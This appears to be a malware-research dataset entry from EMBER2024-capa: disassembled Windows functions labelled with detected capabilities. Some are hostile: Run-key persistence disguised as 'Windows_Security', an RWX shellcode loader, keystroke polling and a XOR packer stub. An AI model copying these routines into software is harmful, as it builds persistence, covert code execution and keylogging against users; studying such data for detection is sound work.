joyce8/EMBER2024-capa huggingface dataset:
Function at 0x47fe6f
Capabilities:
Query or enumerate registry value

Disassembly:
push 0xf4
mov eax, 0x4a39c0
call fcn.0049fa2f
mov dword [ebp - 0x50], ecx
mov eax, dword [ebp + 0xc]
xor ebx, ebx
mov esi, dword [ebp + 8]
mov dword [ebp - 0x48], eax
cmp dword [ecx], ebx
jne 0x47fe97
xor al, al
jmp 0x47ff75
push 0x802
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x4c], 0x400
call fcn.00431b34
mov dword [esp], 0x802
mov edi, eax
push ebx
push edi
call dword [sym.imp.VCRUNTIME140.dll_memset]
add esp, 0xc
mov eax, esi
cmp dword [esi + 0x14], 8
jb 0x47fec9
mov eax, dword [esi]
lea ecx, [ebp - 0x4c]
push ecx
push edi
lea ecx, [ebp - 0x44]
push ecx
push ebx
push eax
mov eax, dword [ebp - 0x50]
push dword [eax]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cdq
cmp eax, ebx
jne 0x47ff55
cmp edx, ebx
jne 0x47ff55
cmp dword [ebp - 0x44], 4
jne 0x47ff48
mov esi, dword [edi]
push ecx
lea ecx, [ebp - 0x100]
call fcn.0048014f
push esi
lea ecx, [ebp - 0xf0]
mov dword [ebp - 4], ebx
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___int_]
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0xe8]
call fcn.0047276e
mov ecx, dword [ebp - 0x48]
lea eax, [ebp - 0x28]
push eax
call fcn.00431b34
lea ecx, [ebp - 0x28]
call fcn.0046d98d
lea ecx, [ebp - 0x98]
call fcn.0048011f
lea ecx, [ebp - 0x98]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::destructor_void_]
jmp 0x47ff51
mov ecx, dword [ebp - 0x48]
push edi
call fcn.00431b34
mov bl, 1
jmp 0x47ff6c
push esi
mov edx, str.Query_registry_value_with_key:
lea ecx, [ebp - 0x40]
call fcn.00431b34
pop ecx
lea ecx, [ebp - 0x40]
call fcn.0046d98d
push edi
call fcn.0048844b
pop ecx
mov al, bl
call fcn.0049f9de
ret 8

Function at 0x48ab60
Capabilities:
Encode data using xor
Hash data using murmur3

Disassembly:
mov ecx, dword [esp + 4]
mov edx, dword [esp + 8]
push esi
xor esi, esi
cmp ecx, edx
je 0x48ab95
nop
movsx eax, byte [ecx]
inc ecx
imul eax, eax, 0xcc9e2d51
rol eax, 0xf
imul eax, eax, 0x1b873593
xor esi, eax
rol esi, 0xd
add esi, 0xfaddaf14
lea esi, [esi + esi*4]
cmp ecx, edx
jne 0x48ab70
mov eax, 3
mov ecx, esi
mul esi
sub ecx, edx
shr ecx, 1
add ecx, edx
shr ecx, 0x1e
imul ecx, ecx, 0x7fffffff
sub esi, ecx
or esi, 0x40000000
mov eax, esi
pop esi
ret
Function at 0x49e490
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0xf4
mov eax, dword [0x4c8048]
xor eax, esp
mov dword [esp + 0xf0], eax
mov dword [esp], 0x4adacc
mov dword [esp + 4], 0x4b2bf0
mov dword [esp + 8], 0x4aee50
mov dword [esp + 0xc], 0x4ad034
mov dword [esp + 0x10], 0x4ad038
mov dword [esp + 0x14], 0x4adae0
mov dword [esp + 0x18], 0x4b242c
mov dword [esp + 0x1c], 0x4ad03c
mov dword [esp + 0x20], 0x4aee54
mov dword [esp + 0x24], 0x4b8bcc
mov dword [esp + 0x28], 0x4aeea4
mov dword [esp + 0x2c], 0x4b943c
mov dword [esp + 0x30], 0x4b9868
mov dword [esp + 0x34], 0x4ad040
mov dword [esp + 0x38], 0x4aee24
mov dword [esp + 0x3c], 0x4ad044
mov dword [esp + 0x40], 0x4ad048
mov dword [esp + 0x44], 0x4ad04c
mov dword [esp + 0x48], 0x4ad058
mov dword [esp + 0x4c], 0x4aee40
mov dword [esp + 0x50], 0x4b2c0c
mov dword [esp + 0x54], 0x4b2c08
mov dword [esp + 0x58], 0x4adacc
mov dword [esp + 0x5c], 0x4adacc
mov dword [esp + 0x60], 0x4ad05c
mov dword [esp + 0x64], 0x4ad060
mov dword [esp + 0x68], 0x4aea8c
mov dword [esp + 0x6c], 0x4b0980
mov dword [esp + 0x70], 0x4b1c84
mov dword [esp + 0x74], str.fnrtvx:eQXZG_pPNKR
mov dword [esp + 0x78], 0x4ad068
mov dword [esp + 0x7c], 0x4ad06c
mov dword [esp + 0x80], 0x4ad070
mov dword [esp + 0x84], 0x4ad074
mov dword [esp + 0x88], 0x4ad078
mov dword [esp + 0x8c], 0x4b1d14
mov dword [esp + 0x90], 0x4ad07c
mov dword [esp + 0x94], 0x4b2cb8
mov dword [esp + 0x98], 0x4ad080
mov dword [esp + 0x9c], 0x4adacc
mov dword [esp + 0xa0], 0x4adacc
mov dword [esp + 0xa4], 0x4adacc
mov dword [esp + 0xa8], 0x4adacc
mov dword [esp + 0xac], 0x4adacc
mov dword [esp + 0xb0], 0x4adacc
mov dword [esp + 0xb4], 0x4adacc
mov dword [esp + 0xb8], 0x4adacc
mov dword [esp + 0xbc], 0x4b8c7c
mov dword [esp + 0xc0], 0x4ad084
mov dword [esp + 0xc4], 0x4ad088
mov dword [esp + 0xc8], str.C3ADEF
mov dword [esp + 0xcc], 0x4ad08c
mov dword [esp + 0xd0], 0x4ad090
mov dword [esp + 0xd4], 0x4ad094
mov dword [esp + 0xd8], 0x4ad098
mov dword [esp + 0xdc], 0x4ad09c
mov dword [esp + 0xe0], 0x4ad0a0
mov dword [esp + 0xe4], 0x4ad0a4
mov dword [esp + 0xe8], 0x4ad0a8
mov dword [esp + 0xec], 0x4ad0ac
cmp cl, 0x3c
jb 0x49e6f6
mov eax, 0x4adacc
mov ecx, dword [esp + 0xf0]
xor ecx, esp
call fcn.00488240
add esp, 0xf4
ret
movzx eax, cl
mov ecx, dword [esp + 0xf0]
xor ecx, esp
mov eax, dword [esp + eax*4]
call fcn.00488240
add esp, 0xf4
ret

Function at 0x433001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
call 0x43300c
nop
pop eax
nop
nop
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x433030
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
jne 0x43301e
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x4c30a4
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xfffffdfc
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xac], 0
je 0x4c310f
cmp byte [ebx + 0xd3], 0
jne 0x4c310f
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x170]
push eax
call sub.user32.dll_GetWindowTextW
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00406fd0
mov eax, dword [esi]
mov dword [esp + 0x200], eax
mov eax, dword [esp + 0x200]
test eax, eax
je 0x4c30fc
sub eax, 4
mov eax, dword [eax]
test eax, eax
jne 0x4c311c
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00406e94
jmp 0x4c311c
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00406e94
add esp, 0x204
pop esi
pop ebx
ret

Function at 0x4c4944
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x4c49b2
mov eax, esi
call fcn.0049ce78
test al, al
je 0x4c49b2
mov eax, dword [ebx + 0x84]
call fcn.0049cacc
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x4c49b2
mov eax, dword [ebx + 0x84]
mov edx, dword [eax]
call dword [edx + 0xfc]
test al, al
je 0x4c49a6
push 0
mov eax, dword [ebx + 0x84]
call fcn.0049cacc
push eax
call sub.user32.dll_ShowWindow
xor edx, edx
mov eax, dword [ebx + 0x84]
call fcn.00493aa0
jmp 0x4c49b2
mov cl, 1
mov edx, dword [ebx + 0x74]
mov eax, ebx
call fcn.004c477c
pop esi
pop ebx
ret

Function at 0x4cc45c
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov edi, edx
mov ebx, eax
mov esi, dword [ebp + 8]
cmp dword [esi], 0
jne 0x4cc483
push 0
push 0
mov dx, 4
mov eax, ebx
call fcn.004cb8f8
cmp dword [ebx + 0x3c], 0xffffffff
jne 0x4cc498
push 0xffffffffffffffff
push 0xffffffffffffffe8
mov dx, 0x18
mov eax, ebx
call fcn.004cb8f8
mov eax, dword [esi]
push eax
mov edx, edi
mov ecx, dword [ebp - 4]
xor eax, eax
call fcn.004cc418
mov eax, dword [esi]
push eax
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
push edi
mov eax, dword [ebx + 0x3c]
push eax
call sub.kernel32.dll_WriteFile_1
test eax, eax
jne 0x4cc4d0
call sub.kernel32.dll_GetLastError_1
cmp eax, 0x3e5
je 0x4cc4d0
xor eax, eax
jmp 0x4cc4d2
mov al, 1
test al, al
jne 0x4cc4ea
call sub.kernel32.dll_GetLastError_1
xor edx, edx
push edx
push eax
mov dx, 2
mov eax, ebx
call fcn.004cb8f8
mov cl, 1
mov dl, 6
mov eax, ebx
call fcn.004d0818
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret 4
Function at 0x4cca44
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov edi, edx
mov ebx, eax
mov esi, dword [ebp + 8]
cmp dword [esi], 0
jne 0x4cca6b
push 0
push 0
mov dx, 4
mov eax, ebx
call fcn.004cb8f8
mov eax, dword [esi]
mov byte [eax + 0x14], 1
cmp dword [ebx + 0x3c], 0xffffffff
jne 0x4cca86
push 0xffffffffffffffff
push 0xffffffffffffffe8
mov dx, 0x18
mov eax, ebx
call fcn.004cb8f8
mov eax, dword [esi]
push eax
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
push edi
mov eax, dword [ebx + 0x3c]
push eax
call sub.kernel32.dll_ReadFile_1
test eax, eax
jne 0x4ccaaf
call sub.kernel32.dll_GetLastError_1
cmp eax, 0x3e5
je 0x4ccaaf
xor eax, eax
jmp 0x4ccab1
mov al, 1
test al, al
jne 0x4ccac9
call sub.kernel32.dll_GetLastError_1
xor edx, edx
push edx
push eax
mov dx, 3
mov eax, ebx
call fcn.004cb8f8
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret 4

Function at 0x4d0cc4
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 4], edx
mov dword [ebp - 8], edx
mov edi, eax
xor eax, eax
push ebp
push 0x4d0df8
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0x4d0e08
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExW_1
mov ebx, eax
test ebx, ebx
jne 0x4d0ddd
mov dl, 1
mov eax, dword [0x42c298]
call fcn.004381d8
mov dword [ebp - 0x1c], eax
xor eax, eax
push ebp
push 0x4d0dd6
push dword fs:[eax]
mov dword fs:[eax], esp
xor esi, esi
mov dword [ebp - 0x10], pe_nt_image_headers32
mov dword [ebp - 0x14], pe_nt_image_headers32
lea eax, [ebp - 4]
mov edx, dword [ebp - 0x10]
call fcn.00407210
lea eax, [ebp - 8]
mov edx, dword [ebp - 0x14]
call fcn.00407210
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 8]
call fcn.00406f20
push eax
lea eax, [ebp - 0x18]
push eax
push 0
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 4]
call fcn.00406f20
push eax
push esi
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegEnumValueW
mov ebx, eax
test ebx, ebx
jne 0x4d0d96
mov edx, dword [ebp - 0x14]
dec edx
lea eax, [ebp - 8]
call fcn.00407210
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
call dword [ecx + 0x38]
inc esi
jmp 0x4d0d9e
cmp ebx, 0x103
jne 0x4d0da2
test ebx, ebx
je 0x4d0d28
mov eax, dword [ebp - 0x1c]
mov edx, dword [eax]
call dword [edx + 0xa0]
mov edx, dword [ebp - 0x1c]
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 8]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4d0ddd
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
mov eax, dword [ebp - 0x1c]
call fcn.00405250
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4d0dff
lea eax, [ebp - 8]
mov edx, 2
call fcn.00406e8c
ret
Function at 0x401000
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x412004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push pe_nt_image_headers32
xor edi, edi
mov dword [ebp - 0x208], edx
lea eax, [ebp - 0x204]
mov dword [ebp - 0x20c], ecx
push edi
push eax
call fcn.004022d0
push pe_nt_image_headers32
lea eax, [ebp - 0x104]
push edi
push eax
call fcn.004022d0
mov edx, dword [ebp + 8]
add esp, 0x18
xor eax, eax
mov ecx, eax
mov byte [ebp + eax - 0x104], al
and ecx, 0x7f
mov cl, byte [ecx + edx]
mov byte [ebp + eax - 0x204], cl
inc eax
cmp eax, 0x100
jl 0x401050
xor esi, esi
mov dl, byte [ebp + esi - 0x104]
movzx eax, byte [ebp + esi - 0x204]
add edi, eax
movzx ecx, dl
add edi, ecx
and edi, 0x800000ff
jns 0x401096
dec edi
or edi, 0xffffff00
inc edi
mov al, byte [ebp + edi - 0x104]
mov byte [ebp + esi - 0x104], al
inc esi
mov byte [ebp + edi - 0x104], dl
cmp esi, 0x100
jl 0x401070
xor ebx, ebx
xor esi, esi
xor edi, edi
cmp dword [ebp - 0x208], ebx
jbe 0x40112f
inc esi
and esi, 0x800000ff
jns 0x4010d3
dec esi
or esi, 0xffffff00
inc esi
mov dl, byte [ebp + esi - 0x104]
movzx eax, dl
add edi, eax
and edi, 0x800000ff
jns 0x4010ef
dec edi
or edi, 0xffffff00
inc edi
movzx eax, byte [ebp + edi - 0x104]
mov byte [ebp + esi - 0x104], al
mov byte [ebp + edi - 0x104], dl
movzx ecx, byte [ebp + esi - 0x104]
movzx eax, dl
add ecx, eax
movzx eax, cl
mov ecx, dword [ebp - 0x20c]
movzx eax, byte [ebp + eax - 0x104]
xor byte [ecx + ebx], al
inc ebx
cmp ebx, dword [ebp - 0x208]
jb 0x4010c2
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040140b
mov esp, ebp
pop ebp
ret

Function at 0x401140
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
mov eax, dword [0x412004]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x4011b7
push ebx
push esi
push 0x228
lea eax, [ebp - 0x22c]
mov dword [ebp - 0x230], 0x22c
push 0
push eax
call fcn.004022d0
add esp, 0xc
lea eax, [ebp - 0x230]
xor esi, esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x4011c6
mov ebx, dword [sym.imp.KERNEL32.dll_Process32NextW]
lea eax, [ebp - 0x230]
inc esi
push eax
push edi
call ebx
test eax, eax
jne 0x4011a1
cmp esi, 0x28
pop esi
pop ebx
jle 0x4011c6
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.0040140b
mov esp, ebp
pop ebp
ret
push 1
call fcn.00402d89
int3
Function at 0x4011d0
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x412004]
xor eax, ebp
mov dword [ebp - 4], eax
push pe_nt_image_headers32
lea eax, [ebp - 0x104]
push 0
push eax
call fcn.004022d0
add esp, 0xc
lea eax, [ebp - 0x104]
push pe_nt_image_headers32
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x108]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x401263
lea ecx, [ebp - 0x104]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401231
sub ecx, edx
lea eax, [ebp - 0x104]
push ecx
push eax
push 1
push 0
push str.Windows_Security
push dword [ebp - 0x108]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x108]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040140b
mov esp, ebp
pop ebp
ret

Function at 0x4013b0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
lea edx, [ebp - 4]
mov dword [ebp - 4], 0
call fcn.00401280
mov ebx, eax
test ebx, ebx
je 0x401402
push edi
push str.VirtualAlloc
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40
push 0x3000
push dword [ebp - 4]
push 0
call eax
push dword [ebp - 4]
mov edi, eax
push ebx
push edi
call fcn.0040acb0
add esp, 0xc
call edi
pop edi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10
Function at 0x4d3850
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x565f0b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0055ac8a
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x4d38d2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.00558bd9
mov eax, dword [eax]
push 0x7f5200
push eax
call fcn.0054acb4
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0055af15
test bl, bl
je 0x4d38d2
push 0x7f5200
lea ecx, [esp + 0xc]
call fcn.0055b2a5
push 0x7f8d54
lea ecx, [esp + 0xc]
call fcn.0055b2a5
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x4d390e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0055af15
jmp 0x4d39d9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x4d3992
lea edx, [esp + 0x7c]
push 0x7f8d50
push edx
call fcn.0054acb4
add esp, 8
test eax, eax
je 0x4d3992
lea eax, [esp + 0x7c]
push 0x7f8d4c
push eax
call fcn.0054acb4
add esp, 8
test eax, eax
je 0x4d3992
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4d3922
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0055af15
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x4d41d0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x4d4232
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x4d4240
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x565f8b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x80df48]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x4d4378
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x4d42a6
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0055af15
xor eax, eax
jmp 0x4d43ef
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.0055b052
push esi
lea ecx, [esp + 0xc]
call fcn.0055b2e1
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x4d43cd
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push SysReAllocString
call fcn.004d41d0
test eax, eax
jne 0x4d43cd
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push SysReAllocString
mov ecx, edi
call fcn.004d41d0
test eax, eax
jne 0x4d43cd
lea eax, [esp + 0x14]
push 0x7f8d68
push eax
call fcn.0054be00
mov esi, eax
add esp, 8
test esi, esi
jne 0x4d43ac
lea ecx, [esp + 0x14]
push 0x7f8d64
push ecx
call fcn.0054bd80
mov esi, eax
add esp, 8
test esi, esi
jne 0x4d43ac
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x4d43af
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.0055b002
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x4d42be
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0055af15
xor eax, eax
jmp 0x4d43ef
mov byte [esi], 0
push 0x7f8d60
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.0055af15
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x4e4b80
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x4e4bee
cmp si, 0x69
ja 0x4e4bee
add esi, 0xffd0
cmp si, 0x11
je 0x4e4bbe
push 0x11
call edi
test ax, ax
jge 0x4e4bbe
or esi, 0x2000
cmp si, 0x10
je 0x4e4bd3
push 0x10
call edi
test ax, ax
jge 0x4e4bd3
or esi, 0x4000
cmp si, 0x12
je 0x4e4be8
push 0x12
call edi
test ax, ax
jge 0x4e4be8
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x4e4bfb
mov esi, 0xbd
jmp 0x4e4baf
cmp si, 0x6e
jne 0x4e4c08
mov esi, 0xbe
jmp 0x4e4baf
cmp si, 0x6f
jne 0x4e4ba9
mov esi, 0xbf
jmp 0x4e4baf

Function at 0x4e64c0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x81e878]
xor edx, edx
cmp eax, edx
jne 0x4e64e6
xor eax, eax
mov byte [eax + 0x81e778], al
inc eax
cmp eax, 0x100
jl 0x4e64ce
mov dword [0x81e878], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x81e778
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x4e6577
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x4e654a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x4e6518
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x4e65f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x4e6643
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x4e662a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret